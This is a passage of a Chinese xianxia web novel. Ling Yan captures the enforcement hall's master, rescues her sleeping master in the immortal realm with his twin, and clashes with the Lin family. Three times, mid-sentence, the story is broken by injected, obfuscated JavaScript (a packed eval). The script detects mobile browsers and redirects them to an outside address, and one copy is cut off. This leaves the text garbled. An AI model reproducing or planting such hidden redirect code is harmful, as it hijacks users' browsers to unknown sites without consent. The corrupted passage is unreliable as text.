他跟着走。 走了几步,忽然问: “小师妹,如果他派大军来呢?” 凌砚头也不回。 “那就打。” “打不过呢?” 凌砚笑了。 “打不过,不是还有你们吗?” 温寻愣了一下。 然后笑了。 “行。” 他摇着扇子。 “打不过,就一起死。” 凌砚没回头。 但嘴角翘着。 --- 无妄宗。 凌砚躺在石头上晒太阳。 旁边躺着——周元。 他也学会了。 白坐在饭堂门口,端着碗。 沈万山带着人巡逻。 谢无妄练剑。 苏折炼器。 温寻搞情报。 沈清和做饭。 一切和以前一样。 但又不一样。 凌砚看着天。 忽然笑了。 “三万年。” 她轻声说。 “终于不无聊了。” 周元在旁边问: “恩人,你说什么?” 凌砚摇头。 “没什么。” 她闭上眼睛。 阳光很暖。 风很轻。 远处传来温寻的声音: “小师妹!有人来了!” 凌砚睁开眼。 坐起来。 “谁?” 温寻表情古怪。 “那个大执事。” 凌砚挑眉。 “自己来的?” 温寻点头。 “一个人。” 凌砚站起来。 “走。” --- 山门外。 站着一个白衣人。 很年轻,看着不到三十岁。 面容俊美,但眼神很冷。 他看到凌砚出来,微微点头。 “凌砚。” 凌砚看着他。 “大执事?” 白衣人点头。 “执法堂,大执事,林昭。” 他看着凌砚。 “你砸了我三个据点。” 凌砚点头。 “对。” “你知道那三个据点,值多少灵石吗?” 凌砚想了想。 “不知道。但应该不少。” 林昭沉默了两秒。 然后笑了。 “有意思。” 他往前走了一步。 白站起来。 林昭看了他一眼。 然后停下。 他看着凌砚。 “我不是来打架的。” 凌砚挑眉。 “那来干嘛?” 林昭说: “来谈合作。” 凌砚愣了一下。 “合作?” 林昭点头。 “你想知道堂主是谁。我想取代堂主。” 他看着凌砚。 “我们合作,各取所需。” 凌砚沉默。 温寻凑过来。 “小师妹,小心有诈。” 凌砚点头。 她看着林昭。 “我凭什么信你?” 林昭从怀里取出一块玉简。 扔给她。 凌砚接过,注入灵气。 里面是一段画面—— 一个黑衣人,背对着镜头,正在说话。 “三万年前那件事,办得不错。那个女人的转世,盯紧了。等她成长起来,抓活的。” 画面结束。 凌砚看着林昭。 “这是——” 林昭说: “堂主。三万年前,下令抓你的人。” 他看着凌砚。 “他也是当年围攻你的人之一。” 凌砚沉默。 林昭继续说: “我查了三万年,就查到这些。他的脸,没人见过。他的身份,没人知道。但他下的命令,我都有记录。” 他看着凌砚。 “你想找他。我想杀他。合作吗?” 凌砚看着他。 看了很久。 然后说: “进来谈。” --- 饭堂里。 七个人围坐一桌。 林昭坐在对面,面前摆着一碗饭。 他没动筷子。 凌砚看着他。 “条件。” 林昭说: “我帮你查堂主的身份。你帮我杀他。” 凌砚点头。 “还有呢?” 林昭想了想。 “事成之后,我当堂主,执法堂不找你麻烦。” 凌砚笑了。 “就这?” 林昭看着她。 “你还想要什么?” 凌砚说: “执法堂归我管。” 林昭愣住。 凌砚继续说: “你当堂主可以。但执法堂,得听我的。” 林昭沉默。 温寻在旁边小声说: “小师妹,你这是要吞并人家?” 凌砚点头。 “对。” 她看着林昭。 “同意吗?” 林昭看着她。 看了很久。 然后笑了。 “有意思。” 他站起来。 “我考虑考虑。” 转身要走。 凌砚说: “别考虑太久。” 林昭停步。 凌砚说: “三天。三天后,给我答复。” 林昭回头看她。 “如果我不答应呢?” 凌砚笑了。 “那我就自己查。查到之后,连你一起杀。” 林昭愣住。 然后笑了。 “行。” 他消失在门外。 温寻凑过来。 “小师妹,你这是威胁他?” 凌砚点头。 “对。” “万一他翻脸呢?” 凌砚笑了。 “翻脸就翻脸。反正——” 她看向门口。 白端着碗,正在吃肉。 “有他在,翻不了。” 温寻想了想。 也对。 --- 三天后。 林昭来了。 “我同意。” 凌砚点头。 “行。从今天起,你是我的人。” 林昭皱眉。 “我是合作者——” 凌砚打断他。 “合作者也得听我的。” 她看着林昭。 “不然我现在就杀你。” 林昭沉默了。 他看着白。 白也在看他。 他深吸一口气。 “……行。” 凌砚笑了。 “那就开始干活。” 她拿出那块黑色玉简。 “这东西,怎么用?” 林昭接过。 “需要两个人同时注入灵气,才能联系上堂主。” 他看向凌砚。 “你一个,我一个。” 凌砚点头。 “现在?” 林昭摇头。 “现在不行。需要特定时间。” “什么时候?” 林昭说: “月圆之夜。” 凌砚看着天。 今天十四。 明天月圆。 她笑了。 “那就明天。” --- 月圆之夜。 无妄宗后山。 凌砚和林昭相对而立。 中间是那块黑色玉简。 月光照下来,把两人的影子拉得很长。 林昭说: “准备好了?” 凌砚点头。 两人同时伸手,按住玉简。 注入灵气。 玉简亮了。 一道声音传出来: “谁?” 林昭说: “堂主,是我。” 那边沉默了两秒。 “林昭?你怎么用紧急联络?” 林昭说: “出了点事。” “什么事?” 林昭看了凌砚一眼。 凌砚点头。 林昭说: “凌砚,抓到了。” 那边愣住了。 然后—— 笑声。 低沉的笑声。 “好!好!好!” 那边连说了三个好。 “人在哪?” 林昭说: “在无妄宗。” 那边沉默。 “无妄宗?那个墨渊的地盘?” 林昭说: “对。但墨渊不在。” 那边又沉默了。 然后说: “等着。我亲自来。” 联络断了。 凌砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323575|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收回手。 看着林昭。 “他亲自来。” 林昭点头。 “三天之内。” 凌砚笑了。 “那就等。” --- 三天。 凌砚等了三天。 第三天早上。 山门外,来了一个人。 黑衣,黑发,面容普通。 普通到扔进人群里找不出来。 他站在门口,看着无妄宗的牌子。 笑了。 “三万年前的地方,一点没变。” 凌砚走出来。 看着他。 “执法堂堂主?” 那人点头。 “是我。” 他看着凌砚。 “你知道我等这一天,等了多久吗?” 凌砚摇头。 那人笑了。 “三万年。” 他往前走了一步。 “三万年前,我亲手杀了你。三万年后,我亲手抓你回去。” 他顿了顿。 “圆满。” 凌砚看着他。 忽然笑了。 “圆满?” 她往前走了一步。 “你知道这是什么地方吗?” 那人愣了一下。 “无妄宗。” 凌砚点头。 “对。无妄宗。” 她指了指身后。 “你知道无妄宗里,有什么吗?” 那人皱眉。 凌砚说: “有我师父留的东西。” 那人脸色一变。 “什么东西?” 凌砚笑了。 “能杀你的东西。” 她后退一步。 身后,白站起来。 谢无妄拔剑。 苏折手里的圆球飘起来。 温寻摇着扇子。 沈清和站在旁边,温温柔柔的。 远处,沈万山带着人围过来。 那人看着这阵势。 笑了。 “就凭这些?” 凌砚摇头。 “不是凭这些。” 她看着那人。 “凭这个。” 她举起手。 手心里,有一点金光在跳动。 那人脸色变了。 “那东西——在你体内?” 凌砚点头。 “对。” 她笑了。 “想抓我?来啊。” 那人脸色铁青。 他想动。 但动不了。 白已经站在他身后。 真仙的气息压下来,压得他喘不过气。 凌砚走到他面前。 看着他。 “三万年前,你杀了我一次。” 她笑了。 “三万年后——” 她顿了顿。 “该我还了。” 金光从手心涌出。 涌入那人体内。 那人惨叫一声。 倒下去。 凌砚低头看着他。 “执法堂堂主?” 她笑了。 “就这?” --- 一个时辰后。 那人被关进了无妄宗的地牢。 林昭站在外面,看着里面。 脸色复杂。 凌砚走过来。 “怎么,舍不得?” 林昭摇头。 “不是。” 他看着凌砚。 “我只是没想到——你会这么强。” 凌砚笑了。 “强?” 她摇头。 “不是我强。” 她指了指自己手心。 “是这东西强。” 林昭沉默。 凌砚继续说: “而且——” 她看向饭堂方向。 白坐在那里,端着碗。 “有他在,我不用强。” 林昭想了想。 也对。 他转回头,看着地牢里的人。 “接下来怎么办?” 凌砚说: “问话。” “问什么?” 凌砚笑了。 “问他——我师父在哪。” --- 地牢里。 那人蜷缩在角落,浑身发抖。 凌砚走进去。 在他面前蹲下。 “我问,你答。” 那人抬头看她。 眼里全是恐惧。 凌砚问: “我师父在哪?” 那人摇头。 “不、不知道……” 凌砚点头。 站起来。 往外走。 那人愣住了。 “你、你不问了?” 凌砚回头看他。 “你不说,我问别人。” 她笑了。 “反正知道这事的人,不止你一个。” 那人脸色变了。 “等、等等!” 凌砚停步。 那人咬牙。 “我说。” 凌砚看着他。 “说。” 那人深吸一口气。 “你师父——” 他顿了顿。 “在仙界。” 凌砚眼神一凝。 “仙界哪?” 那人摇头。 “不知道具体位置。但他被关在一个地方——一个只有你师叔知道的地方。” 凌砚愣住了。 师叔? 又是师叔? 她看着那人。 “我师叔在哪?” 那人说: “也在仙界。” 他看着凌砚。 “你想救你师父,得先找到你师叔。” 凌砚沉默。 很久。 然后笑了。 “行。” 她转身往外走。 那人喊住她。 “你、你不杀我?” 凌砚回头。 “杀你干嘛?” 她笑了。 “你还有用。” --- 外面。 林昭等着。 凌砚出来,他问: “问出来了?” 凌砚点头。 “你师父在哪?” 凌砚摇头。 “不知道。但有人知道。” “谁?” 凌砚看着远方。 “我师叔。” 林昭愣住了。 凌砚继续说: “林昭。” “在。” “帮我查一个人。” “谁?” 凌砚说: “墨渊——掌门的弟弟。” 林昭点头。 “三天。” 凌砚笑了。 “行。” 她转身往饭堂走。 白跟在后面。 端着碗。 凌砚头也不回。 “白。” “嗯?” “过几天,陪我去趟仙界。” 白愣了一下。 然后点头。 “好。” 凌砚笑了。 “那就这么定了。” --- 饭堂里。 七个人围坐一桌。 凌砚一边吃一边说: “过几天,我去趟仙界。” 谢无妄放下筷子。 “一起。” 凌砚摇头。 “这次我自己去。” 谢无妄皱眉。 “不行。” 凌砚看着她。 “大师姐。” “嗯?” “你信我吗?” 谢无妄沉默。 凌砚继续说: “这次去,不是打架。是找人。” 她看着在座的人。 “我师父在仙界。我要去救他。” 温寻开口: “那更得一起去了。” 凌砚摇头。 “你们去不了。” 温寻愣住。 “为什么?” 凌砚说: “因为仙界有规矩——修真界的人上去,会被压制修为。” 她看着他们。 “你们去了,反而危险。” 温寻沉默了。 沈清和握住她的手。 “那你呢?” 凌砚笑了。 “我有这东西。” 她指了指手心。 金光闪了一下。 沈清和看着她。 “真的没事?” 凌砚点头。 “真的。” 她站起来。 “而且——” 她看向门口。 白端着碗。 “有他在,死不了。” 所有人看向白。 白想了想。 然后点头。 “对。” 温寻叹了口气。 “行吧。” 他看着凌砚。 “那你什么时候走?” 凌砚想了想。 “三天后。” --- 三天后。 无妄宗门口。 凌砚站在那儿,旁边是白。 对面站着六个人。 谢无妄、苏折、温寻、沈清和、林昭、周元。 还有远处,沈万山带着那帮人。 凌砚看着他们。 笑了。 “都来送葬?” 温寻呸了一声。 “说什么呢!” 他走过来,递给她一个乾坤袋。 “里面是我这些年攒的情报。仙界那边的,能用上。” 凌砚接过。 苏折走过来,递给她一个手环。 “新做的。能扛真仙五击。” 凌砚戴上。 沈清和走过来,轻轻抱住她。 “活着回来。” 凌砚点头。 “好。” 谢无妄走过来。 看着她。 “打不过就跑。” 凌砚笑了。 “知道。” 温寻最后走过来。 “小师妹。” “嗯?” 他难得认真起来。 “我们等你回来。” 凌砚看着他。 然后笑了。 “放心。” 她转身。 “走了。” 五个人站在原地,看着那两道身影渐渐消失在天边。 很久。 温寻开口: “她会回来的吧?” 谢无妄没说话。 但握紧了剑。 --- 云层之上。 凌砚和白并肩飞着。 她低头看着下面越来越小的无妄宗。 忽然笑了。 “白。” “嗯?” “你说我师父,现在在干嘛?” 白想了想。 “可能……在睡觉?” 凌砚愣了一下。 然后笑出声。 “对,他肯定在睡觉。” 她转回头,看着前方。 “走吧。” “去接那个懒鬼回家。” 16. 仙界,到了 飞了三天。 凌砚以为仙界很远。 结果白告诉她: “刚才一直在绕圈。” 凌砚愣住。 “绕圈?” 白点头。 “有屏障。修真界的人找不到入口。” 凌砚看着前面那片云海。 什么也看不出来。 “那你怎么找?” 白伸出手。 轻轻一划。 云海裂开一道缝。 缝后面是光。 金色的光。 白说: “走吧。” 率先飞进去。 凌砚跟上。 穿过那道缝的瞬间,浑身一震。 像是有什么东西压下来。 但只是一瞬间。 手心里那点金光跳了一下。 压力消失了。 凌砚低头看自己的手。 那东西—— 在保护她。 --- 眼前是一片全新的世界。 天是金色的。 云是彩色的。 山浮在空中。 宫殿建在云上。 到处都是飞行的修士,穿着各色衣服,气息强得吓人。 凌砚看着这一切。 沉默了两秒。 然后说: “操,真有钱。” 白在旁边点头。 “还行。” 凌砚转头看他。 “你来过?” 白点头。 “来过。” “多久以前?” 白想了想。 “两万年前。” 凌砚挑眉。 “来干嘛?” 白看着她。 “找你。” 凌砚愣住了。 白继续说: “听说你转世了,来看看。” 凌砚沉默。 过了很久。 她问: “找到了吗?” 白摇头。 “没有。” 他看着凌砚。 “那时候你还没出生。” 凌砚不知道该说什么。 白已经往前走了。 “走吧。找人。” --- 仙界比修真界大得多。 凌砚跟着白飞了三天,还没飞出第一个区域。 路上遇到不少人。 看他们的眼神都很奇怪。 一个金丹期,带着一个真仙。 这组合在仙界,比在修真界还扎眼。 终于有人忍不住了。 第四天早上。 三个人拦住了去路。 领头的是个年轻男人,金仙初期,穿着华贵。 他上下打量凌砚。 “金丹?” 凌砚点头。 “对。” 年轻男人笑了。 “金丹也敢来仙界?” 他看向白。 “你带的?” 白没说话。 年轻男人皱眉。 “问你话呢。” 白还是没说话。 凌砚开口了: “你谁?” 年轻男人愣了一下。 然后笑了。 “我?我是林家的人。” 凌砚挑眉。 “林家?” 年轻男人一脸骄傲。 “对,林家。仙界第一家族,执法堂就是我们家的。” 凌砚眼神一凝。 执法堂。 林昭那个执法堂? 她看着年轻男人。 “你认识林昭吗?” 年轻男人脸色一变。 “你认识林昭?” 凌砚点头。 “认识。” 年轻男人盯着她。 “你和他什么关系?” 凌砚想了想。 “他是我的人。” 年轻男人愣住了。 然后笑了。 笑得很大声。 “你?一个金丹?林昭是你的人?” 他笑得直不起腰。 “笑死我了——” 凌砚等他笑完。 然后说: “笑完了?” 年轻男人擦了擦眼泪。 “笑完了。” 他看着凌砚。 “小姑娘,吹牛也得看地方。这儿是仙界,不是你们修真界。” 凌砚点头。 “我知道。” 她往前走了一步。 “你知道林昭现在在干嘛吗?” 年轻男人皱眉。 “在干嘛?” 凌砚说: “在帮我办事。” 年轻男人脸色变了。 凌砚继续说: “他是我的人。整个执法堂,以后都听我的。” 年轻男人脸都青了。 “你放屁!” 凌砚笑了。 “不信?” 她拿出那块黑色玉简。 扔给年轻男人。 “自己看。” 年轻男人接过,注入灵气。 里面是林昭的声音: “堂主已擒。执法堂归顺凌砚。不服者,杀。” 年轻男人脸色惨白。 手一抖,玉简掉了。 凌砚接住。 收起来。 看着他。 “还笑吗?” 年轻男人说不出话。 身后两个人,腿都在抖。 凌砚拍拍他肩膀。 “回去告诉你们家主。” 她笑了笑。 “我凌砚,来要账了。” --- 三人跑了。 跑得比来的时候快多了。 白看着那个方向。 “林家?” 凌砚点头。 “林家。” 白想了想。 “要灭吗?” 凌砚愣了一下。 然后笑了。 “不急。” 她往前走。 “先找人。” --- 找人比想象中难。 凌砚只知道师叔在仙界。 不知道在哪,不知道叫什么,不知道长什么样。 唯一的线索:他叫墨渊。 和掌门一个名字。 白带她去了几个地方。 都没有。 第五天。 他们来到一座城。 城很大,浮在云层上,城门上写着三个字: 天机城 凌砚看着那三个字。 忽然想起什么。 “白。” “嗯?” “天机城是什么地方?” 白说: “情报交易的地方。只要有钱,什么都能查到。” 凌砚眼睛亮了。 “走。” --- 天机城里很热闹。 到处都是人。 各种修为,各种打扮,各种气息。 凌砚跟着白,穿过人群,来到一座楼前。 楼不高,三层,挂着块牌子: 天机阁 门口站着个老头,筑基期。 他看到凌砚,愣了一下。 “金丹?” 凌砚点头。 老头看向白。 然后脸色变了。 “真、真仙?” 白没说话。 凌砚开口: “我要查个人。” 老头回过神。 “请、请进。” --- 天机阁里。 一个中年人接待了他们。 化神期——在仙界算底层。 他看着凌砚,又看白。 态度很客气。 “两位想查什么?” 凌砚说: “查一个人。” “名字?” “墨渊。” 中年人愣了一下。 “哪个墨渊?” 凌砚也愣住了。 “有几个墨渊?” 中年人看着她。 “两个。” 凌砚心跳漏了一拍。 “两个?” 中年人点头。 “一个三万年前就消失了。另一个——” 他顿了顿。 “一直在。” 凌砚盯着他。 “另一个在哪?” 中年人摇头。 “不知道。” 凌砚皱眉。 “你不是说能查到?” 中年人苦笑。 “能查到他在哪出现过。但具体位置——查不到。” 他看着凌砚。 “那个人,修为太高。不想让人知道的时候,没人能找到。” 凌砚沉默。 然后问: “他最后一次出现,在哪?” 中年人翻出一本厚厚的册子。 翻了几页。 停下。 “三千年前。北境,天柱山。” 凌砚记下。 “多少钱?” 中年人看了白一眼。 “不、不用钱。” 凌砚挑眉。 “不用?” 中年人点头。 “就当交个朋友。” 凌砚笑了。 “行。这个朋友,我交了。” 她站起来。 “走了。” --- 天柱山在北境。 飞了七天。 凌砚站在山脚下,抬头看。 山很高,高到看不到顶。 白在旁边说: “他在上面待过。” 凌砚点头。 开始往上爬。 爬了一天一夜。 到顶了。 山顶什么都没有。 只有一块石头。 石头上刻着字。 凌砚走过去看。 “来找我的?” 下面还有一行小字: “往东三千里。” 凌砚愣住。 然后笑了。 “这他妈是留的什么言?” 白看着那个方向。 “去吗?” 凌砚点头。 “去。” --- 往东三千里。 是一片荒漠。 什么都没有。 凌砚站在荒漠中央。 “人呢?” 白指了指地下。 凌砚低头。 地下? 她蹲下,敲了敲地面。 空的。 白抬手。 地面裂开一道缝。 下面是一个洞穴。 凌砚跳下去。 洞里很黑。 走了几步,忽然亮了。 前面站着一个人。 白衣,白发。 背对着她。 凌砚停住。 “师叔?” 那人转过身。 一张和掌门一模一样的脸。 但眼神不一样。 掌门的眼神是懒的。 这个人的眼神—— 是冷的。 他看着凌砚。 “来了。” 凌砚看着他。 “你知道我会来?” 那人点头。 “知道。” 凌砚问: “我师父在哪?” 那人沉默了一会儿。 然后说: “跟我来。” 他转身往洞里走。 凌砚跟上去。 白跟在后面。 走了很久。 前面出现一道门。 门是金色的,上面刻着复杂的纹路。 那人站在门前。 “他在里面。” 凌砚看着他。 “你不进去?” 那人摇头。 “他不愿见我。” 凌砚沉默了两秒。 然后伸手。 推门。 门开了。 里面是一个房间。 不大。 只有一张床。 床上躺着一个人。 墨渊——掌门。 闭着眼睛,像是睡着了。 凌砚走过去。 在他旁边蹲下。 “师父。” 墨渊没反应。 凌砚伸手,碰了碰他的脸。 凉的。 她愣住了。 “他——” 身后传来声音: “没死。只是睡着了。” 凌砚回头。 师叔站在门口。 “睡了多久?” 师叔说: “两万年。” 凌砚沉默。 转回头,看着床上的人。 那个懒洋洋的掌门。 那个天天晒太阳的懒鬼。 那个说“老子迟早会回来”的人。 现在躺在这儿。 一动不动。 她忽然想骂人。 但张了张嘴,没骂出来。 只是握住他的手。 凉的。 但还有一点温度。 她握紧。 “师父。” “我来接你了。” “醒醒。” 床上的人没动。 凌砚等着。 等了一会儿。 还是没动。 她深吸一口气。 “白。” 白走过来。 “能救吗?” 白看着床上的人。 沉默了很久。 然后说: “能。” 凌砚眼睛亮了。 “怎么救?” 白说: “需要你的血。” 凌砚愣了一下。 “我的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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墨渊看着她。 “你确定?” 凌砚点头。 “确定。” 她指了指自己。 “我是谁?” 墨渊说: “我徒弟。” 凌砚摇头。 “三万年前杀过三万人的人。” 她笑了。 “再来一次,怎么了?” 墨渊愣住。 然后笑出声。 “行。像你。” 他站起来。 “那就走。” 走到门口,看着师叔。 “一起?” 师叔看着他。 看了很久。 然后点头。 “好。” 三道人影走出洞穴。 外面,白站着。 端着碗。 看到他们出来,愣了一下。 然后继续吃肉。 凌砚笑了。 “走吧。” “回家。” --- 无妄宗。 温寻正在门口摇扇子。 忽然看到天边飞来几道人影。 他站起来。 “有人来了——” 然后愣住了。 凌砚落下来。 后面跟着白。 再后面—— 两个墨渊。 温寻揉了揉眼睛。 “我眼花?” 凌砚笑了。 “没花。” 她往里走。 “四师姐呢?我饿了。” 温寻站在原地,看着那两个长得一模一样的人 “这、这怎么回事?” 一个墨渊(掌门)拍拍他肩膀。 “回去再说。” 另一个墨渊(师叔)面无表情跟进去。 温寻愣了很久。 然后骂了一句: “操。” 跟着跑进去。 --- 饭堂里。 八个人围坐一桌。 凌砚左边是掌门,右边是师叔。 对面是谢无妄他们。 所有人都在看师叔。 师叔面无表情,吃着饭。 白在旁边,也吃着饭。 两个吃饭最认真的人,坐在一起。 温寻小声问: “小师妹,这位是——” 凌砚说: “我师叔。” 温寻愣住。 “师叔?掌门的弟弟?” 凌砚点头。 温寻看看掌门,又看看师叔。 “长得真像。” 掌门笑了。 “双胞胎,能不像吗?” 温寻沉默了。 然后问: “那以后怎么叫?两个都叫掌门?” 凌砚想了想。 然后指着掌门: “这个,大师父。” 指着师叔: “这个,二师父。” 师叔愣了一下。 “二师父?” 凌砚点头。 “对。你不愿意?” 师叔沉默了两秒。 然后说: “……随你。” 温寻憋笑。 谢无妄嘴角动了动。 沈清和温柔地给凌砚夹菜。 苏折低头吃饭,但耳朵竖着。 凌砚看着这一桌人。 忽然笑了。 “三万年了。” 她端起碗。 “终于齐了。” 所有人看着她。 凌砚说: “来,吃饭。” 低头扒饭。 其他人互相看了看。 然后都笑了。 低头吃饭。 窗外,阳光很好。 无妄宗的一天,又开始了。 但这次—— 人齐了。 17. 第 17 章 第十七章团圆饭后的第一场架 凌砚以为,人齐了之后的日子会很平静。 她错了。 第二天一早,她被温寻的喊声吵醒: “小师妹!出事了!” 凌砚推门出去。 “什么事?” 温寻脸色发白。 “外面——来了好多人。” 凌砚挑眉。 “多少人?” 温寻咽了口唾沫。 “数不清。天上地下全是。” 凌砚沉默了两秒。 然后问: “什么修为?” “最低的——金仙。” 凌砚愣住了。 金仙? 在修真界,化神就是天花板。 金仙是什么概念? 一巴掌能拍碎一座山那种。 她深吸一口气。 “走,去看看。” --- 山门外。 黑压压一片人。 不对,不是人。 是仙人。 密密麻麻站在天上,把阳光都遮住了。 领头的是个老者,白发白须,气息深不可测。 仙尊境。 他看着凌砚出来,眯了眯眼。 “你就是凌砚?” 凌砚点头。 “是我。” 老者笑了。 “好。很好。” 他一挥手。 “拿下。” 身后无数仙人冲下来。 然后—— 一道白影闪过。 冲在最前面的几十个仙人,全飞了出去。 白站在凌砚面前,端着碗。 碗里的肉还没吃完。 老者脸色变了。 “真仙后期?” 他看着白。 “你是什么人?” 白没理他。 继续吃肉。 老者脸色铁青。 “找死!” 他亲自出手。 一掌拍下来。 掌风还没到,地面已经开始裂开。 然后—— 另一道白影闪过。 老者的一掌,被挡下了。 师叔站在白旁边,抬头看着老者。 “林家?” 老者愣住了。 “你、你是——” 师叔没说话。 只是看着他。 老者脸色惨白。 “墨、墨渊?” 师叔点头。 “是我。” 老者倒退一步。 身后无数仙人,全愣住了。 墨渊? 那个三万年前杀穿半个仙界的墨渊? 他不是死了吗? 师叔看着老者。 “来我无妄宗,有什么事?” 老者张了张嘴。 说不出话。 师叔等了两秒。 “没事就滚。” 老者脸色变了几变。 然后—— “走!” 无数仙人,眨眼间全跑光了。 凌砚站在原地,看着这一幕。 然后转头看师叔。 “二师父。” 师叔看着她。 “嗯?” “你以前——很能打?” 师叔想了想。 “还行。” 凌砚沉默了。 然后看向白。 “你呢?” 白说: “没打过。不知道。” 凌砚又看向山门里。 掌门正躺在那儿晒太阳。 她忽然明白了。 为什么无妄宗人这么少,还能活到现在。 这他妈是怪物窝。 --- 当天晚上。 凌砚问师叔: “林家还会来吗?” 师叔想了想。 “会。” “什么时候?” “准备好之后。” 凌砚皱眉。 “那他们准备要多久?” 师叔看着她。 “看你想不想让他们快一点。” 凌砚挑眉。 “什么意思?” 师叔说: “你主动去打,他们就快。你等着,他们就慢。” 凌砚笑了。 “懂了。” 她站起来。 “那就主动去打。” 温寻在旁边听着,脸都白了。 “小师妹,你要去仙界?打林家?” 凌砚点头。 “对。” 温寻看着她。 “你知道林家有多少人吗?” 凌砚摇头。 “不知道。” “你知道他们有多强吗?” 凌砚摇头。 “不知道。” 温寻深吸一口气。 “那你为什么还要去?” 凌砚笑了。 “因为——” 她指了指师叔。 “他有仇要报。” 又指了指自己。 “我也有。” 她看着远方。 “三万年前的账,该算了。” --- 三天后。 无妄宗门口。 这次出发的人不多。 凌砚、白、师叔。 谢无妄他们想跟着,被凌砚拦住了。 “你们去不了仙界。” 谢无妄皱眉。 “那你呢?” 凌砚笑了。 “我有这东西。” 她手心亮了一下。 谢无妄沉默了。 沈清和走过来,抱住她。 “活着回来。” 凌砚点头。 “好。” 温寻站在旁边。 “小师妹。” “嗯?” “别死了。不然没人陪我搞情报。” 凌砚笑了。 “放心。” 她转身。 “走了。” 三道身影消失在云层里。 --- 仙界。 林家。 凌砚站在大门前,看着这座浮在云上的巨型宫殿。 真他妈大。 比整个无妄宗还大十倍。 门口站着两排守卫,全是金仙。 看到凌砚,愣住了。 “什么人——” 师叔往前走了一步。 守卫看清他的脸,脸色全变了。 “墨、墨渊?” 师叔点头。 “让你们家主出来。” 守卫连滚带爬跑进去。 过了一会儿。 一群人从里面出来。 领头的是个中年男人,气息比那天那个老者还强。 他看着师叔,脸色凝重。 “墨渊,你来干什么?” 师叔说: “算账。” 中年男人脸色一变。 “算什么账?” 师叔看着他。 “三万年前的事。” 中年男人沉默了。 然后笑了。 “三万年前?那是我父亲的事,和我无关。” 师叔点头。 “那就让你父亲出来。” 中年男人摇头。 “他不在。” 师叔看着他。 “在哪?” 中年男人说: “死了。” 凌砚愣住了。 死了? 中年男人看着师叔。 “三万年前,围攻你之后不久,他就死了。” 他顿了顿。 “被人杀的。” 师叔皱眉。 “谁杀的?” 中年男人摇头。 “不知道。没人看到凶手。” 他看着师叔。 “但有人猜——是你哥。” 师叔脸色变了。 凌砚也愣住了。 掌门杀的? 中年男人继续说: “你哥那时候刚醒。醒来之后,第一件事就是找我父亲。” 他看着师叔。 “然后我父亲就死了。” 师叔沉默。 凌砚开口: “证据呢?” 中年男人看着她。 “你是谁?” 凌砚说: “他徒弟。” 中年男人眯了眯眼。 “万法归宗体?” 凌砚点头。 中年男人笑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323577|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好。正好。” 他一挥手。 身后无数人冲上来。 白动了。 师叔动了。 凌砚站在原地,没动。 手心那点金光在跳。 她看着那些冲过来的人。 忽然有点想笑。 三万年前,她一个人打三万人。 三万年后—— 她看着白和师叔的背影。 不是一个人了。 --- 战斗持续了一个时辰。 林家倒了三百多人。 剩下的全退了。 中年男人站在远处,脸色铁青。 凌砚看着他。 “还打吗?” 中年男人咬牙。 “你等着——” 凌砚笑了。 “等什么?等你父亲复活?” 中年男人说不出话。 凌砚转身。 “走吧。” 三道身影离开。 身后,林家的门匾碎了。 --- 回去的路上。 凌砚问师叔: “你觉得是掌门杀的吗?” 师叔沉默了很久。 然后说: “不知道。” 他看着前方。 “但如果是他杀的——肯定有原因。” 凌砚点头。 “我也这么想。” 她顿了顿。 “回去问问就知道了。” --- 无妄宗。 凌砚一进门,就看到掌门躺在石头上。 她走过去。 在他旁边坐下。 “掌门。” 墨渊睁开眼。 “回来了?” 凌砚点头。 “回来了。” 墨渊看着她。 “想问什么?” 凌砚说: “林家那个老家主,是你杀的吗?” 墨渊沉默了两秒。 然后点头。 “是。” 凌砚愣住。 “为什么?” 墨渊坐起来。 看着远方。 “因为他该死。” 他转过头,看着凌砚。 “你知道他当年对你做了什么吗?” 凌砚摇头。 墨渊说: “他亲手剜了你的心。” 凌砚愣住了。 墨渊继续说: “你那滴血,就是从他手里抢回来的。” 他看着凌砚。 “我杀他的时候,他跪在地上求饶。说不是他下的手,是有人逼的。” 他笑了。 笑得很冷。 “逼的?那他剜你心的时候,怎么没人逼他?” 凌砚沉默。 墨渊看着她。 “所以我就杀了。” 他躺回去。 “有意见?” 凌砚看着他。 看了很久。 然后笑了。 “没意见。” 她站起来。 “杀得好。” 墨渊也笑了。 “那就行。” 凌砚往饭堂走。 走了几步,忽然回头。 “掌门。” “嗯?” “谢谢你。” 墨渊愣了一下。 然后笑了。 “谢什么谢,我是你师父。” 凌砚笑了。 转身走了。 --- 饭堂里。 八个人围坐一桌。 凌砚一边吃一边想。 三万年前的事,还有很多不知道。 但没关系。 慢慢查。 反正—— 她有人陪着。 窗外,阳光很好。 白的碗里,肉又满了。 师叔坐在旁边,也端着碗。 两个吃饭最认真的人,坐在一起。 凌砚看着他们。 忽然笑了。 “笑什么?”温寻问。 凌砚摇头。 “没什么。” 她低头继续吃。 心里想的是—— 这日子,真他妈好。 18. 白衣服的事 